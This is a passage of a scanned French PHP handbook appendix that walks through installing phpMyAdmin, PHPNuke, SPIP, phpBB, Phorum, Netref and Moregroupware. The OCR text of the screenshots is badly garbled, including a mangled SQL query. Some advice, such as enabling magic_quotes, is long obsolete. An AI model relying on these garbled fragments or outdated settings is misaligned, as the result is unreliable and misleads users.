droite se rafraichit. Rendez-vous dans la section Afficher le schema de la base (ou de la table). 
Si vous avez choisi une base, vous pourrez selectionner les tables a sauvegarder grace a une 
petite liste. Ensuite, decidez de sauvegarder la structure de la base, la structure et les donnees 
ou seulement les donnees. Choisissez ensuite les options qui vous interessent parmi les 
differentes options offertes : ajouter des enonces, insertions completes ou etendues, etc. 
Cliquez sur Transmettre. Selon les configurations de PHP, il vous sera egalement possible de 
compacter le fichier de sauvegarde (zippe). 

Restaurer une table ou une base 

Le fichier genere par la sauvegarde peut, bien sur, servir a recreer une table ou une base. En 
fait, le fichier de sauvegarde contient des requetes SQL et des donnees variables selon les 
options choisies lors de la sauvegarde. Admettons que votre base portait le nom de "Emma" : il 
vous suffit de recreer une base "Emma" sur le nouveau serveur. Rendez-vous dans la section 
Executer une ou des requetes sur la base Emma. Dans la partie Emplacement du fichier texte , 
cliquez sur le bouton Parcourir, donnez ['emplacement du fichier de sauvegarde puis cliquez 
sur Executer. 



Autres 

II existe d'autres scripts, similaires a phpMyAdmin mais adaptes a d'autres serveurs de bases de 
donnees. Parmi eux nous trouvons : 

phpPgAdmin, destine a administrer PostgreSQL et disponible a l'adresse 
http://sourceforge.net/projects/phpPgAdmin/; 

phpOracleAdmin, destine a administrer Oracle et disponible a l'adresse 
http://phporacleadmin.org/. 
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21.2. Creation de sites 

PHPNuke 

Presentation 

PHPNuke est un logiciel libre et gratuit que vous pourrez modifier et adapter a votre gre. 
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Figure 21.3: PHPNuke 

PHPNuke est un systeme qui gere completement votre site web. Lorsque vous installez 
PHPNuke, vous obtenez un site qui a deja une page d'accueil vous permettant de mettre en 
ligne des articles avec forums integres ; il gere l'inscription des utilisateurs, offre une zone de 
telechargement moderee, etc. Vous n'avez pas a utiliser un editeur de pages web pour travailler 
avec un site qui utilise PHPNuke. S'il est possible de reprocher a PHPNuke d'etre une "usine a 
gaz", il reste tout de meme une solution rapide et pratique pour mettre en place un site et 
diffuser des informations sans avoir a passer par les etapes fastidieuses de l'editeur HTML et 
du developpement en PHP. 

Au quotidien, deux aspects de PHPNuke seront mis face a face : sa facilite de gestion et sa 
rigidite. Par exemple, la page d'accueil d'un site sous PHPNuke se presente sous forme de 
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blocs : blocs de menus, blocs des articles, etc. Si vous voulez faire passer un bloc de liens de 
droite a gauche, il vous suffit de cliquer sur de petites fleches dans l'espace d'administration du 
site. Si vous voulez mettre en ligne un article, vous faites un copier-coller dans un champ texte 
et le tour est joue. De meme, pour changer tout l'aspect visuel du site, il n'y a qu'a choisir dans 
une liste pour que tout le look du site soit modifie. En revanche, vous risquez d'etre rapidement 
bloque par la rigidite de PHPNuke. Pour ne parler que d'un point relativement secondaire dans 
un site web : la page d'accueil reste desesperement figee. Vous ne pourrez pas sortir du modele 
"deux petites colonnes et une grosse" sans mettre les mains dans le code. Cela risque d'ailleurs 
de faire s'effondrer le chateau de cartes, tout etant tres imbrique dans PHPNuke. A la longue, 
cela peut lasser. 

Installation 

Pour installer PHPNuke, allez tout d'abord creer un dossier "phpnuke" quelque part sur votre 
serveur web ou chez votre hebergeur. Decompactez l'archive PHPNuke disponible a l'adresse 
http://www.phpnuke.org/ (mais egalement presente sur le CD-ROM de la presente Bible). II faut 
decompacter le contenu du dossier "/html" de l'archive dans le dossier " phpnuke". Le reste se 
resume a une licence que vous devez deja connaitre par coeur (la GPL) et a des fichiers 
README (assez classiques, mais que les anglophones auront tout de meme interet a lire pour 
etre tenus au courant des evolutions de PHPNuke). 

Apres avoir decompacte tous les fichiers, rendez-vous dans phpMy Admin. Pour que PHPNuke 
fonctionne, il faut qu'il puisse utiliser une base de donnees MySQL. Si vous etes votre propre 
hebergeur, vous pouvez envisager de creer une table "nuke", sinon toute autre base devrait faire 
1'affaire. 



Vous pouvez vous reporter a la section MySQL du chapitre sur les bases de donnees 
ou a V annexe phpMyAdmin pour voir comment creer une telle base. 




RENVOI 



II faut maintenant creer les tables, qui sont en fait les tiroirs dans lesquels PHPNuke va venir 
stocker ses informations. Rassurez-vous, les developpeurs de PHPNuke ont pense a vous. Dans 
le dossier qui vous a servi a decompacter PHPNuke, vous devriez trouver le fichier nuke.sql. 
C'est ce fichier qui contient toute la structure et la definition de PHPNuke utiles a votre base de 
donnees. 

Si vous avez acces au client MySQL en ligne de commande (i.e. si vous installez PHPNuke sur 
votre propre machine), vous pouvez taper la commande mysql mabase < nuke, sql (si votre 
base s'appelle "mabase", vous aurez peut-etre a specifier un nom d'utilisateur et un mot de 
passe. Pour plus de details, tapez alors mysql -h). 

Sinon, vous pouvez utiliser phpMyAdmin. Dans la liste des bases presentes sur la partie gauche 
de la page web de phpMyAdmin, selectionnez celle qui doit heberger les tables PHPNuke. La 
partie droite de la page doit se rafraichir. Sur cette page, vous trouvez differentes options qui 
vont vous permettre d'effectuer des requetes sur votre base. Un lien "Emplacement du fichier 
texte" vous offre de telecharger un fichier qui contient toute une serie de requetes. C'est cette 
solution que nous allons utiliser pour creer toutes les tables dont a besoin PHPNuke. Dans la 
page web, cliquez sur Parcourir, allez chercher le fichier nuke.sql, puis cliquez sur le bouton 
Executer pour que les informations contenues dans le fichier soient envoyees au serveur. Si 
jamais, comme cela a pu arriver, l'operation produisait une erreur, vous pouvez essayer de 
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rentrer les requetes de creation de tables une a une. Operation certes fastidieuse, mais 
necessaire au bon fonctionnement de PHPNuke. 

Une fois que le serveur a digere toutes les requetes, vous devez avoir une belle liste de tables 
dans votre base (sur le cote gauche de la page). 

Une fois les tables creees, il faut configurer PHPNuke afin qu'il sache ou aller chercher ces 
bases. A l'aide de votre editeur de texte prefere, ouvrez le fichier config.php qui se situe a la 
racine de votre site. A l'interieur de ce fichier, recherchez les lignes suivantes (en debut de 
fichier) : 

$dbhost = "local host"; 
$dbuname = "toto"; 
$dbpass = "passtoto"; 
$dbname = "basetoto"; 
$dbtype = "MySQL"; 



Tableau 21.1 : Un passage commente du fichier vous explique a quoi correspond chacune des 
lignes 



Paramelre 



Signification 



$dbhost 

$dbuname 

$dbpass 

$dbname 



Nom de Thole de la base MySQL. Generalement, laissez "localhost". 
Renseignez-vous aupres de votre hebergeur pour savoir quels sont les 
parametres exacts. 

Nom de I'utilisateur de la base MySQL. 

Mot de passe de I'utilisateur. 

Nom de la base MySQL. 



Une fois que vous avez correctement renseigne chacune de ces lignes, sauvegardez le fichier. 
Voila, tout est dit. Votre site avec PHPNuke est accessible en ligne, chez votre hebergeur ou sur 
votre serveur local. Pour le consulter, rendez-vous directement a la racine du repertoire dans 
lequel vous avez installe PHPNuke, par exemple, http://www.votresite.com/test/. Si rien 
n'apparait, ou si vous avez des erreurs MySQL, cela provient peut-etre d'une erreur lors de 
l'edition du fichier config.php. Verifiez bien les informations que vous avez donnees. Si tout est 
bon, vous devez alors voir la page d'accueil de votre site. Outre le message central, les colonnes 
de droite et de gauche sont deja bien pleines. Vous pourrez reduire, configurer ou supprimer 
ces blocs lateraux depuis l'espace d'administration qui est accessible a une adresse du type : 
http://www.votresite.com/test/admin.php. Rendez-vous d'ailleurs a cette adresse pour creer 
votre compte d'administrateur. 
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Figure 21 .4 : Creation d'un compte d' administrates 

II vous sera demande un nom d'utilisateur, une adresse email, l'adresse du site de 
radministrateur (vous pouvez donner l'adresse de votre site) ainsi qu'un mot de passe. Une fois 
toutes les informations donnees, cliquez sur le bouton Submit. Vous arrivez alors directement 
sur une page qui vous permet de vous connecter en tant qu'administrateur. 
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Figure 21 .5 : Connexion a V administration 

En plus du nom d'utilisateur et du mot de passe que vous venez de definir, PHPNuke vous 
demander de saisir un code a cinq chiffres aleatore affiche a l'ecran. Cela evite les tentatives de 
piratage par des robots qui testent des jeux de noms d'utilisateur et mot de passe. 
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Figure 21.6: SPIP 
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SPIP est un moteur de gestion de contenus. II vous permet d'ecrire des articles et de les mettre 
en ligne. Entendez par "article" tout contenu que vous jugerez bon de mettre a disposition des 
visiteurs de votre site. SPIP a ete cree par l'equipe du site Uzine. Par rapport a PHPNuke, SPIP 
a quelques avantages. II dispose notamment d'un systeme de cache qui evite de surcharger un 
serveur, alors que PHPNuke, lui, est lourd au possible. Signalons au passage que ce systeme de 
cache a pour nom "Gargantua"... voila qui ravira tous les amateurs de litterature francaise. 
SPIP est aussi plus simple a mettre en place et a gerer. Etant plus jeune que PHPNuke, SPIP 
dispose pour le moment de moins de fonctionnalites. Gageons que ses createurs sauront lui 
garder cette simplicite qui en fait un excellent outil. Soulignons toutefois que SPIP dispose de 
petits "plus" tout a fait seduisants. Par exemple, quand un auteur se cree un compte, il a la 
possibilite de donner sa cle publique PGP. . . SPIP est actuellement en train de s'orienter vers le 
travail collaboratif (systeme de forum interne a certains redacteurs, messages prives, etc.). On 
reprochera tout de meme a SPIP le manque de "une". En effet, la une d'un site gere par SPIP 
est en constant mouvement. A chaque fois que vous ajoutez un article, il vient prendre place sur 
la page d'accueil. Meme si vous annoncez la periodicite de vos mises a jours, vos visiteurs seront 
prives du plaisir de decouvrir vos anciennes pages d'accueil. Les articles sont bien archives, mais 
la une, elle, n'a pas de memoire. 



1405 



CO 






CD 






■o 




CO 




CO 


o 


< 


CD 




CD 


£2. 


CO 


CD 


E 


o 


c 


CD 


"5. 


c 


X 


a. 


«* 


CD 


CO 








CM 







Chapitre 21 Annexe A : des exemples ^applications 



Jk Compatibility PHP 5 

^^^ La version 1. 7.2 de SPIP n'est pas encore compatible avec PHP5. Les developpeurs 
ATTENTION de SPIPy travaillent en modifiant le code du moteur. Ainsi, SPIP devrait rapidement 
devenir compatible avec la version la plus recente de PHP. Pour plus d 'informations : 
www.spip.net/threadspip2014-7420.html. 



Installation (du travail de pro) 

Grossierement, le processus est le meme que pour PHPNuke. II va s'agir de mettre en place une 
interaction entre SPIP et la base de donnees MySQL. Creez un repertoire spip dans le 
repertoire racine de votre serveur web, ou bien la ou vous jugerez utile d'installer SPIP. Dans 
ce repertoire spip, decompactez le fichier spipl. 7.2.zip disponible en telechargement a l'adresse 
www.uzine.net/spip/ (et que vous trouverez sur le CD-ROM de la Bible). Si vous decompactez les 
fichiers a la racine de votre serveur web ou de votre espace d'hebergement, tout sera mis en vrac 
a la racine et, avouons-le, ce n'est pas tres propre comme installation. Une fois les fichiers 
installes correctement, lancez un navigateur web et rendez-vous a cette adresse : www.votresite 
.com/spip/ecrire/. La, et c'est ce qui est merveilleux, l'Assistant d'installation de SPIP va vous 
prendre par la main. Une premiere page vous demande l'adresse de votre base de donnees, le 
nom d'utilisateur a utiliser (login de connexion) puis le mot de passe de cet utilisateur. Nous ne 
pouvons que vous conseiller d'assigner un mot de passe a l'utilisateur que vous allez creer. Une 
fois tous les champs correctement remplis, cliquez sur suivant. Si la connexion echoue, SPIP 
vous explique pourquoi, et vous invite gentiment a corriger l'erreur (qui, entre nous soit dit, doit 
etre assez benigne). Une fois la connexion avec la base etablie, cliquez sur suivant pour passer 
a la creation de la base de donnees qui sera utilisee par SPIP. SPIP vous propose alors plusieurs 
choix de bases de donnees. Vous pouvez utiliser une base de donnees qui vous a ete attribute 
par votre hebergeur (quand vous n'avez, par exemple, droit qu'a une seule base par serveur de 
bases de donnees), ou bien creer une nouvelle base specialement pour SPIP. SPIP vous propose 
d'ailleurs d'en creer une qui portera son nom, ce qui n'est pas une mauvaise idee (c'est d'ailleurs 
ce que nous vous invitons a faire). Ne touchez a rien, et cliquez, vous vous en doutez, sur le 
bouton suivant. SPIP va alors creer les tables necessaires a son bon fonctionnement au sein de 
la nouvelle base de donnees. Une fois qu'il a fini son travail, il vous en informe, et vu que vous 
vous en tirez parfaitement bien, cliquez une nouvelle fois sur suivant. Tout le coeur du systeme 
SPIP est maintenant installe. II faut desormais creer un premier utilisateur, un chef supreme : 
vous. Donnez votre signature, votre adresse e-mail puis un pseudonyme et un mot de passe qui 
vous serviront a l'administration de votre site. Notez-les precieusement, vous en aurez besoin 
par la suite. Une fois tous les champs remplis, cliquez sur suivant. SPIP vous annonce que vous 
avez tout gagne, que 1'installation et la configuration sont terminees. Vous allez pouvoir com- 
mencer a travailler avec SPIP. Cliquez, et ce pour la derniere fois, sur suivant. Une petite 
fenetre d'identification apparait. Donnez le pseudo et le mot de passe que vous avez utilises lors 
de 1'installation. Vous arrivez alors dans le monde merveilleux de SPIP. 



Configuration 

L'interface d'administration est un peu ardue a comprendre, mais, rassurez-vous, une aide 
complete est integree. Vous pouvez y acceder en cliquant sur le bouton rouge en haut a droite. 
Par la suite, vous pourrez acceder a cette page d'administration en vous rendant a cette 
adresse : http://www.votresite.com/spip/ecrire. Vos pseudo et mot de passe vous seront redemandes. 
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Comme vous pouvez le constater, en vous rendant sur la page d'accueil du site que vous avez 
cree avec SPIP (http://www.votresile.com/spip), vous manquez cruellement de contenu. Pour reme- 
dier a cela, rendez-vous dans l'espace d'administration (http://www.votresite.com/spip/ecrire). SPIP 
lui-meme vous l'indique : avant de pouvoir ecrire, il faut que vous creiez au moins une rubrique. 
Cliquez sur le lien prevu a cet effet : Creerune nouvelle sous-rubrique. Vous arrivez alors sur une 
page ou il vous est demande de donner un titre a cette nouvelle rubrique et, si vous le desirez, 
de lui adjoindre un descriptif. Une fois que vous etes satisfait de votre rubrique, cliquez sur le 
bouton valider situe en bas de la page. Vous retournez alors dans votre espace d'administration. 
Vous pouvez constater que la nouvelle rubrique apparait. De nouvelles icones sont egalement 
presentes la ou ne figurait que celle de la creation d'une rubrique. Notez tout particulierement 
l'icone Ecrire un nouvel article. Cliquez dessus. Vous arrivez alors sur une page vous offrant de 
rediger un article. Une fois votre article termine, enregistrez-le dans la base. SPIP vous propose 
alors un apercu de votre travail et vous donne la possibilite de changer son statut. Etant donne 
que vous etes l'administrateur du site, vous pouvez mettre directement ce travail en ligne, ce que 
nous vous invitons d'ailleurs a faire. A l'aide du menu deroulant present tout en haut de la page, 
choisissez l'option Publie en ligne, puis cliquez sur Modifier. Vous pouvez aller recolter le fruit 
de votre dur labeur sur la page d'accueil de votre site : http://www.votresite.com/spip/. 



Autres 

II existe de nombreuses solutions destinees a faciliter la mise en place d'un site. En voici 
quelques autres : 

■ Templeet, disponible a l'adresse http://www.templeet.org/ ; 
AttilaPHP, disponible a l'adresse http://www.attila-php.net/ ; 
PHPForge, disponible a l'adresse http://membres.lycos.fr/phpforge/ ; 
postNuke (un clone de PHPNuke), disponible a l'adresse http://www.postnuke.com/. 

21.3. Forums de discussion 

PHPbb 

Presentation (cyber-agora et cafe du commerce virtuel) 

Plutot que de paraphraser betement, donnons la parole au site web PHPbb.biz, le site frangais 
de reference en ce qui concerne PHPbb : "Phpbb est un puissant forum de discussion, convivial 
et agreable d'utilisation. Ses fonctionnalites et sa rapidite sont semblables voire superieures aux 
differents forums payants "haut de gamme" du marche. En effet, PHPbb est libre et gratuit 
(sous licence GNU/GPL). II dispose d'une interface facile a utiliser et d'une aide en ligne sous 
forme de FAQ ("Frequently Asked Questions" ou questions les plus frequemment posees). Le 
panneau d'administration est complet et vous permettra une gestion aisee de votre plateforme 
de communication. Un support technique en francais est disponible, il vous permettra de 
repondre a toutes vos questions". 

Vous trouverez egalement sur ce site un guide d'installation. Gardez cela en tete, cela pourra 
vous etre utile quand vous rechercherez des complements d'information. 
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Voir le sujet pri 




Dp. 



■: 15 Juil 2002 s 



*;53 Sujet d 



(graan 



27 Juin 2002 



voil= j'a\ dsux choses = vuu^ demander 

-J'aimerais indiquer sur la page d'accuail de men sits Is nombre da posts du forurn, Comment dois-j; 

-Mon site contient une partie forum avec une section Pages des ut.il is ate urs (celle-ci par exemple : 

i" i- |. i i. . i 

sa page, Encre une fois, pouvez-vous m'aider ? 

Merci I 

PS : bien entendu je sais qu'il faut enregistrer les pages en php ' :J 

U pwfil ) fStf^jT) f^^IT] tifc-J^T) C^i 



^ r-icgn 



12 Juin 2002 



tu peuM obtenir le nonibre rorai de posts sur Don forum par i.in 
Code: 
SELECT COUNT * FROM phpbb_posts 



qui donnerd I i-< I Se la table en question. 



le nornbre de posts par user se trouve dans le d 
rsr uparer sera 

Code: 

SELECT user_posts FROM phpbb_users WHERE user_id=$i 

aver $oserID nontenant: 1'identifiant de I'utilisateur connects. 

Cidrolin 

L'erreur est humaine, mais pour un vrai desastre il faut un ordinateur, 



ar_posts de la "table phpbb_u? 



Figure 21.7: PHPbb 

Installation 

Installez PHPbb en lui demandant de se decompacter directement dans un dossier que vous 
aurez cree pour lui. PHPbb creera lui-meme un dossier Phpbb. Vous trouverez PHPbb sur le 
site http://www.phpbb.com/ (ou sur le site de la communaute francophone http://www.phpbb.biz) ainsi 
que sur le CD-ROM de la Bible. Lancez un navigateur et rendez-vous a l'adresse : http://www 
.votresite.com/phpBB/install.php. Une fois tous les champs correctement remplis, cliquez sur next. 
PHPbb va alors creer les tables necessaires a son bon fonctionnement. Une page vous tient au 
courant de 1'evolution des creations. Une fois que tout est fait, cliquez une nouvelle fois sur next. 
II vous faut maintenant creer l'administrateur de votre systeme de forums. C'est lui qui aura 
droit de vie et de mort sur tout ce qui se passe dans les forums. Remplissez tous les champs en 
faisant particulierement attention au nom d'utilisateur et au mot de passe. Une fois que vous 
avez rempli tous les champs, cliquez une nouvelle fois sur next. Vous arrivez alors sur la page de 
configuration generale du forum. Vous allez pouvoir, entre autres choses, choisir la langue du 
forum. Cliquez sur next pour enregistrer les parametres. Voila, le forum est configure. PHPbb 
vous presente une page de felicitations et vous invite a aller dans l'espace d'administration des 
forums, ce qui, avouons-le, est plutot une bonne idee. Cliquez sur le lien Administration Area. 
Vous arrivez alors sur une page assez laide, pleine de texte en anglais. 



Configuration (la quete du Graal) 



PHPbb vous previent d'une faille de securite. II refusera de fonctionner tant que vous n'aurez 
pas corrige ce qui le tracasse. Pour les besoins de la configuration, le fichier config.ini etait 
librement modifiable. Maintenant que la configuration est terminee et que vous avez cree un 
administrateur, PHPbb vous demande de changer les attributs du fichier. Pour cela, 
rendez-vous dans le repertoire "phpBB", sur votre serveur web ou chez votre hebergeur, et 
reperez le fichier config.ini. Dans votre explorateur de fichiers ou votre logiciel de FTP, 
modifiez les proprietes du fichier. II faut qu'il soit en lecture seule. Vous pouvez retourner dans 
votre navigateur et rafraichir la page sur laquelle vous avez laisse PHPbb. Vous voici desormais 
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dans l'espace d'administration de PHPbb. Si, de rage, vous aviez ferme votre navigateur, voici 
l'adresse : http://www.votresite.com/phpBB/adinin/. Donnez les login et mot de passe de l'administra- 
teur et cliquez sur submit. Vous arrivez alors dans le panneau d'administration de PHPbb. II 
vous faut maintenant creer une nouvelle categoric Cliquez sur le lien add a category, donnez un 
nom de categorie, "test" par exemple pour commencer, puis cliquez sur create category. Retour- 
nez sur la page d'administration en cliquant sur le lien Panneau d'administration. Vous allez 
maintenant devoir creer un forum en cliquant sur le lien Add a forum. Donnez un nom au forum, 
donnez une description, nommez des moderateurs (pour le moment, il n'y a que l'administra- 
teur), choisissez une categorie dans laquelle apparaitra le forum (d'ou l'interet d'avoir cree la 
categorie avec le forum). Ne touchez pas les deux dernieres options pour le moment ; vous 
pourrez les modifier et indiquer ainsi qui pourra ecrire dans le forum et si le forum lui-meme 
sera public ou prive. Cliquez sur Create forum. N'oubliez pas de cliquer sur le nom d'un 
moderateur avant de valider. Attention ! si vous oubliez un champ, PHPbb videra tous les autres 
champs lorsque vous reviendrez sur la page de configuration. Vous devrez repartir de zero dans 
la definition du forum. Lorsque la creation du forum a eu lieu, revenez sur la page d'accueil de 
votre site avec PHPbb. Vous allez toucher du doigt une petite difficult e de l'installation de 
PHPbb. II vous faut cliquer sur le nom du forum que vous avez cree. Vous arrivez alors sur une 
nouvelle page : la page principale du forum. Vous allez devoir creer un sujet dans ce forum. Le 
lien se situe tout en haut a droite de la page web, c'est l'image New Topic. Cliquez dessus. 
Donnez alors un titre et une description pour ce sujet. Une fois cette operation effectuee, 
revenez sur la page principale du forum et cliquez sur le sujet que vous avez donne. Vous allez 
pouvoir entamer une discussion passionnante et enfievree. 



21.4. Phorum : un moteur de forums 

Phorum est un moteur de forums libre et gratuit. En plus d'etre leger, il s'installe tres 
facilement et tres rapidement. II dispose d'une aide a l'installation qui evite de passer par 
l'edition des fichiers de configuration. 



... ...... . . . . . ■■:.. 
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Superposer deux images en PHP nouwau 
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24-07-02 12:30 


Tableau sur 2 ou 3 lignee... !!! nouveau 


"hristien 
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24-07-02 18:38 


WANTED : Lists de diffusion rLouveau 


mays. 
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carte restaurant mauveac 


catiieiine 
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Problemedefoullll! nwwau 
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nickey;;:001 





23-07-02 15:03 


Help me. Please ! noevcau 


Gratuit-Utile 
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24-07-02 16:01 


login frame... nouveac 


wdrus 
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24-07-02 16:07 


aide nouveau 


marc 
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affichage en HTML des infos de la BDD nouveau 


ohnny 
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22-07-02 20:24 


problems mail (script mai!2 ) nouveau. 


beau Philippe 





22-07-02 10:33 
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sa 
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fichier et liste deroulante nourjeau 
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Figure 21 .8 : Phorum 

Phorum fonctionne avec MySQL ou PostgreSQL. 
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Telechargez tout d'abord l'archive contenant Phorum directement sur le site de Phorum a 
1'adresse http://www.phorum.org, ou bien utilisez celle presente sur le CD-ROM de la Bible. 
N'oubliez pas de telecharger, en plus, le fichier de francisation french.php (fichier egalement 
disponible sur le CD-ROM). 

Avant de vous lancer dans la procedure d'installation, il faut que vous creiez une nouvelle base 
sur votre serveur de bases de donnees. Elle sera utilisee par Phorum et vous devrez donner son 
nom lors de la procedure d'installation. 

Pour commencez : decompactez l'archive de Phorum quelque part sur votre site web. 

Une fois les fichiers copies dans l'arborescence de votre site web, que ce soit en local ou chez un 
hebergeur, rendez-vous dans l'administration en ligne de Phorum pour parametrer les forums. 
L'"admin" est accessible via l'URL : http://votresite/votredossierphorum/admin/index.php/. Choisissez 
une langue a utiliser pour l'installation puis cliquez sur le bouton Next step. Grace au menu 
deroulant, choisissez le serveur de bases de donnees avec lequel devra travailler Phorum, puis 
cliquez sur le bouton Submit. Vous arrivez ensuite sur une page qui vous demande les para- 
metres de connexion a cette base. 
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Phorum Install Script 

Enter Your D atab ase S ettings : 
Database - Server Name : 

Database - Name : 

Database - User Name : 

Database - Password: 

Phorum - Main Table Name : Fori 



jlocalhost 



Iphon 



[root 



r 



V Check here if this is an upgrade. 
Read docs/up grade.txt for information about some of your settings. 

Submit | 



NOTE: If SQL Safe Mode is in use on your server, leave the username and password emtpy. 



Figure 21.9 : 

Configuration des 
parametres de 
connexion 



Vous devrez donner le nom du serveur de bases de donnees, le nom de la base a utiliser 
(n'oubliez pas d'en creer une pour l'occasion), ainsi qu'un nom d'utilisateur et un mot de passe 
pour se connecter a cette base. II faudra egalement specifier le nom de la table qui sera utilisee 
par Phorum. Par defaut, le nova forums est donne automatiquement. Une fois tous les champs 
renseignes, cliquez sur Submit. Maintenant que la connexion a la base s'est effectuee et que les 
nouvelles tables sont ajoutees, Phorum vous invite a creer un administrateur. Donnez un nom 
d'utilisateur et un mot de passe dans les champs prevus a cet effet, puis cliquez une nouvelle fois 
sur Submit. II ne reste alors plus qu'a donner 1'adresse a laquelle le forum sera accessible et 
1'adresse e-mail de l'administrateur du forum. 

Votre Phorum est maintenant installe. Mais, comme vous pouvez vous en rendre compte en 
allant sur sa page d'accueil, il est desesperement vide. II faut en effet que vous amorciez la 
pompe en creant un premier forum. 

Rendez-vous dans l'admin de votre forum (http://votresite/dossierphorum/admin/index.php). 
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Main Menu | Forum Index | Logout 



PHORUM ADMIN 

Database Connection Established 
version: :3.32c: 



Attachment Settings 
Database Settings 
Files/Paths 
HTML Settings 
Global Options 
Plugins 



Manage Forums/Folders 
New Folder 
Hew Forum 



IS 



Check For New Version 
Rebuild INF Hie 
Stop Riorum 



Figure 21.10 : Paged' administration de Phorum 

Depuis 1'admin, dans le bloc central Forum Maintenance, cliquez sur le lien New Forum. Vous 
arrivez alors sur une page qui permet la creation d'un forum. Parmi toutes les options 
proposees, deux seulement sont obligatoires : le nom du nouveau forum et la table qu'il 
utilisera dans la base de donnees associee a votre Phorum. Une fois le forum cree, vous pouvez 
deja l'utiliser. Vous n'etes pas oblige de presenter vos forums directement les uns a la suite des 
autres. Vous avez la possibilite de creer des dossiers (folders) dans lesquels il est possible de 
regrouper des forums. II suffit, pour cela, depuis 1'admin, de creer un nouveau folder. Ensuite, 
lors de la creation d'un nouveau forum, vous pourrez, a l'aide d'un menu deroulant, lui associer 
un folder particulier. Cette option est particulierement pratique quand un site commence a 
avoir un certain nombre de forums... 

N'oubliez pas de franciser l'interface utilisateur de Phorum. Vous n'avez qu'a copier le fichier 
francais-3.3.2c.php dans le dossier long de l'arborescence de votre installation de Phorum. Une 
fois le fichier copie, rendez-vous dans la page d'administration. 



Main Menu | Forum Index | Logout 


PHORUM ADMIN 

Database Connection Established 
version: 3.3.2c 




■uiuLZB 




Default Messages Per Page: 30 




Default Email: adtnin@rnonsite.com 


Phorum Mail Code: 


Cookies: 1 Use Cookies ^1 


Sorting: 1 Sort Forums ^1 


Default Language: 1 Francais-3 .3 ,2c _^| 


TimeZone Offset (from server) 1 ^J 




Update | 







Figure 21.11 : Selection de la langue 

Cliquez sur le lien Global Options. A la ligne Default Language, dans le menu deroulant, vous 
pourrez alors choisir le francais. 



Autres 



II existe evidemment d'autres forums comme : 

NeoBoard, disponible a l'adresse http://www.neoboard.net:8080/NeoBoard/ ; 
electrifiedForum (eF), disponible a l'adresse http://www.electrifiedpenguin.com/mainindex.php ; 
■ bestweb Forum, disponible a l'adresse http://www.bestweb.ca/. 
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Entre portail et forum : 

myWBBPortal, disponible a l'adresse http://www.wbbhacks.com/. 

21.5. Annuaires de liens 
Netref 

Netref vous permet en quelques minutes d'installer un annuaire de liens sur votre site. Netref 
est une application ecrite en PHP fonctionnant avec des bases de donnees MySQL, et qui se 
configure tres facilement. Du meme type que des annuaires tels que Yahoo ! par exemple, il 
vous permettra de gerer differentes categories et sous-categories, des suggestions de liens faites 
par les internautes, un classement des liens les plus visites. Son interface d'administration est 
claire, et vous permet, entre autres, de verifier les liens soumis, de visualiser l'interface de votre 
annuaire, etc. Le programme est disponible en cinq langues : francais, anglais, italien, suedois 
ou hollandais. 
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Fichier _Editian Affichage Favaiis Outils ? 

4. - + -®\®m\s 



h t i p: / / w w w. w eb- r e I . net / arm i.j /p a g e/ 



"3 ^ | 



| Francais _^J I I Ajouter a vos favoris Aide 

Bienvenue sur Netref: I'annuaire des outils de recherche 



A propos 



t^J Accueil 
Categoric principals 
B Achats - Ventes $) 

£]fe Hebergement QY) 

Gratuft 

(£& IMetamoteurs p) 

\^ Noms de domaine (io) 

Redirertian gratuite 
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Port ails pour webmasters f?) 



k.' Jj Referencement (i?) 

Outils de verification 

Ressources graphiques (8) 



M Emploi (ii) 

f|J Informations (S) 

I nf or mat i que 

J} Musique (2) 

TfcJ Outils de recherche am 

Annuaire regionaux - Les grands ! 

© Programmation (24) 

PHP - Annuaire de scripts - Java - C / C++ 
:?0 Regies publicitaires (?) 
fljj Services pour site Web (?) 



] HipJMw- 



rBl.net/annu/divers/aidefi. php?num= 



Figure 21 .1 2 : Une base de liens geree avec Netref 

Tout d'abord, telechargez le fichier netref.zip a l'adresse http://www.web-ref.net/annu/inscr/index.php. 
Dans l'arborescence de votre site, creez un repertoire annuaire a la racine de votre site, puis 
decompactez le fichier dans le repertoire annuaire. Vous devez ensuite parametrer le fichier 
option.php. 

Indiquez les parametres de connexion a votre base de donnees. 
$host="localhost"; 
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Solutions de travail collaboratif 

Indiquez ici le nom d'hote du serveur de bases de donnees. 

$user="username"; 

Indiquez ici votre nom d'utilisateur utilise pour votre connexion a la base de donnees. 

$pass="password"; 

Indiquez ici votre mot de passe utilise pour votre connexion a la base de donnees. 

$bdd="basename"; 

Indiquez ici le nom de la base de donnees a utiliser. 

Passez ensuite a l'administrateur de l'annuaire : 

$psadmin[0]="sylgil "; 

Donnez ici le nom d'utilisateur qui doit etre utilise pour l'administrateur. 

$passadmin[0]="alfred"; 

Donnez ici le nom d'utilisateur qui sera requis pour l'administrateur. 

Enfin, publiez le repertoire annuaire sur votre espace d'hebergement, et rendez-vous sur la 
page www.votresite.net/annuaire/admin/. Entrez alors vos identifiants pour acceder au menu de 
['administration, puis cliquez sur Creer les tables sql. Voila, votre annuaire est pret. Vous pouvez 
creer les categories et sous-categories a partir du menu d'administration. 

Autres 

Quelques autres annuaires de liens : 

phpMyAnnu, disponible a l'adresse http://www.creation-de-site.net/ ; 
■ HitWeb, disponible a l'adresse http://www.freesoftware.fsf.org/hitweb/ ; 
PHPMyLinks, disponible a l'adresse http://rhenriot.free.fr/phpmylinks/. 

21.6. Solutions de travail collaboratif 
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Moregroupware 



Moregroupware est un outil de groupware (travail collaboratif) tres complet. II vous permettra 
de gerer votre groupe de travail en toute simplicity. Vous pourrez creer differents groupes et 
utilisateurs, et leur attribuer des droits divers. Differents modules sont a votre disposition : un 
calendrier pour gerer plusieurs plannings, un repertoire, un module d'informations generates, 
un webmail, etc. II peut se mettre en relation avec differents types de bases de donnees 
(MySQL, PostgreSQL, Oracle...). II supporte plusieurs langues, dont le frangais. 
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Figure 21.13 : Moregroupware 



Jk Compatibility PHP 5 

^^^ La version 0.7.2 de Moregroupware n 'est pas encore compatible avec PHP 5. Les 
ATTENTION developpeurs y travaillent en modifiant le code du moteur. Ainsi, Moregroupware 
devrait rapidement devenir compatible avec la version la plus recente de PHP. 



Installation 

Avant tout, assurez-vous que votre php.ini est configure avec la fonction magic_quotes 
activee. Telechargez Moregroupware a l'adresse http://www.moregroupware.org/download.php, ou uti- 
lisez le fichier disponible sur le CD-ROM de la Bible. Decompactez le fichier a la racine de votre 
site, puis rendez-vous a l'adresse http://www.monsite.com/moregroupware/. Une page s'affichera vous 
demandant de configurer votre groupware. Cliquez alors sur le lien Selectionnez le langage et 
entrez les donnees de connexion a votre base de donnees. Choisissez alors les modules que vous 
